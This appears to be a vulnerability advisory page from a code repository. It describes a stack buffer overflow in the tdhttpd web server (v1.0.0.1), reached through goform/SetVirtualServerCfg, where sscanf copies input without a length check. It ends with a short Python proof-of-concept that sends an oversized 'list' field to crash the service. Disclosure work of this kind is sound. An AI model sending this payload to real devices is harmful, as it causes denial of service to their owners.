Skip to content

Latest commit

 

History

History

formSetVirtualSer

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Overview

Affected version

v1.0.0.1

Vulnerability details

tdhttpd in directory /bin has stack overflow vulnerability. The vulnerability occurrs in the formSetVirtualSer function, which can be accessed via the URL goform/SetVirtualServerCfg.

image-20220526203950011

In function FUN_000631d0, the function sscanf is called to split it and copy to stack buffer without checking its length.

image-20220526204019758

PoC

Poc of Denial of Service(DoS)

import requests

data = {
    b"list": b'A'*0x400+b'~'
}
res = requests.post("http://127.0.0.1/goform/SetVirtualServerCfg", data=data)
print(res.content)